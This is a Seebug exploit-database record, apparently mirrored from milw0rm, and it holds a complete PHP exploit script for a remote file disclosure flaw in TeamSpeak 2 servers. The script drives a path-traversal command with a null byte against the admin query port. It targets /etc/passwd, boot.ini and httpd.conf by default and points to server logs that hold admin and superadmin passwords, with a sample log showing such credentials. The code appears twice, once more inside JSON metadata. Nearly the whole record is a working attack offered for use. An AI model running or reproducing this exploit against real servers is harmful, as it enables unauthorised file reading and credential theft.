ID SSV:66178
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00
Description
No description provided by source.
<?php
// teamspeak server <= 2.0.23.17 remote read file vulnerability
// bug found and exploit write by c411k
// http://www.heise-online.co.uk/security/Vulnerability-in-TeamSpeak-2-server--/news/93734 zazhali ploent svolo4i!!
// tested on win ts2_server_rc2_202317, ts2_server_rc2_20201.exe
// grats all https://forum.antichat.ru
// use http://localhost/ts_xek.php
// 10.01.09
error_reporting(0);
@ini_set("max_execution_time",0);
@ini_set('output_buffering',0);
@set_magic_quotes_runtime(0);
@set_time_limit(0);
@ob_implicit_flush(1);
header("Content-Type: text/html; charset=utf-8\r\n");
header("Pragma: no-cache");
function check_ver($site, $xek, $port)
{
$url = fsockopen("$site", "$port", $errno, $errstr, 22);
$send_pac = "$xek\r\n\r\n";
fputs($url, $send_pac);
$s = '';
while (!feof($url) and strpos(implode($s), 'OK') === false)
{
$s[] = fgets($url, 1028);
}
fclose($url);
return implode($s);
}
function html()
{
if (isset($_POST['file']))
$file = $_POST['file'];
else $file = '../../../../../etc/passwd';
echo
'<pre><form action="'.$_SERVER['PHP_SELF'].'?go_fuck" method="post">
<input style="background-color: #31333B; color: #B9B9BD; border-color: #646C71;" name="parampampam" type="submit" value=" read file... ">
<input style="background-color: #31333B; color: #B9B9BD; border-color: #646C71;" name="check_ver" type="submit" value=" check_version "><br>
<input style="background-color: #31333B; color: #B9B9BD;" name="hostname" value="localhost"><font color="#B9B9BD"> ¬ teamspeak hostname or ip, for expamle "ts.antichat.ru"
<input style="background-color: #31333B; color: #B9B9BD;" name="port" value="51234"><font color="#B9B9BD"> ¬ port to TCQquery admin, default 51234
<input style="background-color: #31333B; color: #B9B9BD;" name="file" value="'.$file.'"><font color="#B9B9BD"> ¬ file to read.';
}
function info()
{
echo
'<br>
for example:
server.log
server.dbs
../../../../../boot.ini
../../../../../etc/passwd
../../../../../usr/local/apache/conf/httpd.conf etc.
brain on ;)
admin and superadmin passwords you can see in server.log or server.dbs. but in windows i can\'t read this files.
<textarea style="background-color: #31333B; color: #B9B9BD;" name="zz" cols=90 rows=16>---------------------------------------------------------------
-------------- log started at 10-01-09 00:24 -------------
---------------------------------------------------------------
10-01-09 00:24:28,ALL,Info,server, Server init initialized
10-01-09 00:24:28,ALL,Info,server, Server version: 2.0.20.1 Win32
10-01-09 00:24:28,WARNING,Info,SQL, created table ts2_servers
10-01-09 00:24:28,WARNING,Info,SQL, created table ts2_server_privileges
10-01-09 00:24:28,WARNING,Info,SQL, created table ts2_channels
10-01-09 00:24:28,WARNING,Info,SQL, created table ts2_channel_privileges
10-01-09 00:24:28,WARNING,Info,SQL, created table ts2_clients
10-01-09 00:24:28,WARNING,Info,SQL, created table ts2_bans
10-01-09 00:24:28,ALL,Info,server, Starting VirtualServer id:1 with port:8767
10-01-09 00:24:28,WARNING,Info,SERVER, Default VirtualServer created
10-01-09 00:24:28,WARNING,Info,SERVER, admin account info: username: admin password: kcqy8y
10-01-09 00:24:28,WARNING,Info,SERVER, superadmin account info: username: superadmin password: e7em45
10-01-09 00:24:29,ALL,Info,server, Server init finished</textarea></form>';
}
function head()
{
echo '<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>xek_teamspeak2</title>
<style>
<!--
A:link {COLOR: #B9B9BD; TEXT-DECORATION: none}
A:visited {COLOR: #B9B9BD; TEXT-DECORATION: none}
A:active {COLOR: #228B22; TEXT-DECORATION: none}
A:hover {COLOR: #E7E7EB; TEXT-DECORATION: underline}
BODY
{
margin="5";
FONT-WEIGHT: normal;
COLOR: #B9B9BD;
BACKGROUND: #44474F;
FONT-FAMILY: Courier new, Courier, Verdana, Arial, Helvetica, sans-serif;
}
-->
</style>
</head>
<body>';
}
head();
if (!$_GET)
{
html();
info();
}
if (isset($_GET['go_fuck']))
{
$hostname = $_POST['hostname'];
$file = $_POST['file'];
$port = $_POST['port'];
if (isset($_POST['check_ver']))
{
echo '<pre>'.check_ver($hostname, 'ver', $port);
}
if (isset($_POST['parampampam']))
{
echo '<textarea style="background-color: #31333B; color: #B9B9BD;" name="zz" cols=90 rows=16>'.check_ver($hostname, 'help /../'.$file."\0", $port).'</textarea>';
html();
}
}
?>
# milw0rm.com [2009-01-14]
{"lastseen": "2017-11-19T15:28:58", "modified": "2014-07-01T00:00:00", "description": "No description provided by source.", "cvss": {"score": 0.0, "vector": "NONE"}, "published": "2014-07-01T00:00:00", "status": "poc", "enchantments": {"score": {"value": -0.1, "vector": "NONE", "modified": "2017-11-19T15:28:58", "rev": 2}, "dependencies": {"references": [], "modified": "2017-11-19T15:28:58", "rev": 2}, "vulnersScore": -0.1}, "href": "https://www.seebug.org/vuldb/ssvid-66178", "references": [], "enchantments_done": [], "id": "SSV:66178", "title": "TeamSpeak <= 2.0.23.17 Remote File Disclosure Vulnerability", "bulletinFamily": "exploit", "reporter": "Root", "cvelist": [], "viewCount": 1, "sourceData": "\n <?php\n// teamspeak server <= 2.0.23.17 remote read file vulnerability\n// bug found and exploit write by c411k\n// http://www.heise-online.co.uk/security/Vulnerability-in-TeamSpeak-2-server--/news/93734 zazhali ploent svolo4i!!\n// tested on win ts2_server_rc2_202317, ts2_server_rc2_20201.exe\n// grats all https://forum.antichat.ru\n// use http://localhost/ts_xek.php\n// 10.01.09\n\nerror_reporting(0);\n@ini_set("max_execution_time",0);\n@ini_set('output_buffering',0);\n@set_magic_quotes_runtime(0);\n@set_time_limit(0);\n@ob_implicit_flush(1);\n\nheader("Content-Type: text/html; charset=utf-8\\r\\n");\nheader("Pragma: no-cache");\n\nfunction check_ver($site, $xek, $port)\n{\n\t$url = fsockopen("$site", "$port", $errno, $errstr, 22);\n\t$send_pac = "$xek\\r\\n\\r\\n";\n\tfputs($url, $send_pac);\n\t$s = '';\n\t\n\twhile (!feof($url) and strpos(implode($s), 'OK') === false)\n\t{\n\t\t$s[] = fgets($url, 1028);\n\t}\n\tfclose($url);\n\treturn implode($s);\n}\n\nfunction html()\n{\n\tif (isset($_POST['file']))\n\t\t$file = $_POST['file'];\n\telse $file = '../../../../../etc/passwd';\n\techo \n\t'<pre><form action="'.$_SERVER['PHP_SELF'].'?go_fuck" method="post">\n\t<input style="background-color: #31333B; color: #B9B9BD; border-color: #646C71;" name="parampampam" type="submit" value=" read file... ">\n\t<input style="background-color: #31333B; color: #B9B9BD; border-color: #646C71;" name="check_ver" type="submit" value=" check_version "><br>\n\t<input style="background-color: #31333B; color: #B9B9BD;" name="hostname" value="localhost"><font color="#B9B9BD"> ¬ teamspeak hostname or ip, for expamle "ts.antichat.ru"\n\t<input style="background-color: #31333B; color: #B9B9BD;" name="port" value="51234"><font color="#B9B9BD"> ¬ port to TCQquery admin, default 51234\n\t<input style="background-color: #31333B; color: #B9B9BD;" name="file" value="'.$file.'"><font color="#B9B9BD"> ¬ file to read.';\n}\n\nfunction info()\n{\n\techo\n\t'<br>\n\tfor example: \n\tserver.log\n\tserver.dbs\n\t../../../../../boot.ini\n\t../../../../../etc/passwd\n\t../../../../../usr/local/apache/conf/httpd.conf etc.\n\tbrain on ;)\n\t\n\tadmin and superadmin passwords you can see in server.log or server.dbs. but in windows i can\\'t read this files.\n\t\n\t<textarea style="background-color: #31333B; color: #B9B9BD;" name="zz" cols=90 rows=16>---------------------------------------------------------------\n-------------- log started at 10-01-09 00:24 -------------\n---------------------------------------------------------------\n10-01-09 00:24:28,ALL,Info,server,\tServer init initialized\n10-01-09 00:24:28,ALL,Info,server,\tServer version: 2.0.20.1 Win32\n10-01-09 00:24:28,WARNING,Info,SQL,\tcreated table ts2_servers\n10-01-09 00:24:28,WARNING,Info,SQL,\tcreated table ts2_server_privileges\n10-01-09 00:24:28,WARNING,Info,SQL,\tcreated table ts2_channels\n10-01-09 00:24:28,WARNING,Info,SQL,\tcreated table ts2_channel_privileges\n10-01-09 00:24:28,WARNING,Info,SQL,\tcreated table ts2_clients\n10-01-09 00:24:28,WARNING,Info,SQL,\tcreated table ts2_bans\n10-01-09 00:24:28,ALL,Info,server,\tStarting VirtualServer id:1 with port:8767\n10-01-09 00:24:28,WARNING,Info,SERVER,\tDefault VirtualServer created\n10-01-09 00:24:28,WARNING,Info,SERVER,\tadmin account info: username: admin password: kcqy8y\n10-01-09 00:24:28,WARNING,Info,SERVER,\tsuperadmin account info: username: superadmin password: e7em45\n10-01-09 00:24:29,ALL,Info,server,\tServer init finished</textarea></form>';\n}\n\nfunction head()\n{\n\techo '<html>\n<head>\n<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">\n<title>xek_teamspeak2</title>\n<style>\n<!--\nA:link {COLOR: #B9B9BD; TEXT-DECORATION: none}\nA:visited {COLOR: #B9B9BD; TEXT-DECORATION: none}\nA:active {COLOR: #228B22; TEXT-DECORATION: none}\nA:hover {COLOR: #E7E7EB; TEXT-DECORATION: underline}\nBODY\n{\n\tmargin="5";\n\tFONT-WEIGHT: normal; \n\tCOLOR: #B9B9BD; \n\tBACKGROUND: #44474F; \n\tFONT-FAMILY: Courier new, Courier, Verdana, Arial, Helvetica, sans-serif; \n}\n\n-->\n</style>\n</head>\n<body>';\n}\n\nhead();\n\nif (!$_GET)\n{\n\thtml();\n\tinfo();\n}\n\nif (isset($_GET['go_fuck']))\n{\n\t$hostname = $_POST['hostname'];\n\t$file = $_POST['file'];\n\t$port = $_POST['port'];\n\t\n\tif (isset($_POST['check_ver']))\n\t{\n\t\techo '<pre>'.check_ver($hostname, 'ver', $port);\n\t\t\n\t}\n\t\n\tif (isset($_POST['parampampam']))\n\t{\n\t\techo '<textarea style="background-color: #31333B; color: #B9B9BD;" name="zz" cols=90 rows=16>'.check_ver($hostname, 'help /../'.$file."\\0", $port).'</textarea>';\n\t\thtml();\n\t\t\n\t}\n}\n\n?>\n\n# milw0rm.com [2009-01-14]\n\n ", "sourceHref": "https://www.seebug.org/vuldb/ssvid-66178", "type": "seebug", "immutableFields": []}
{}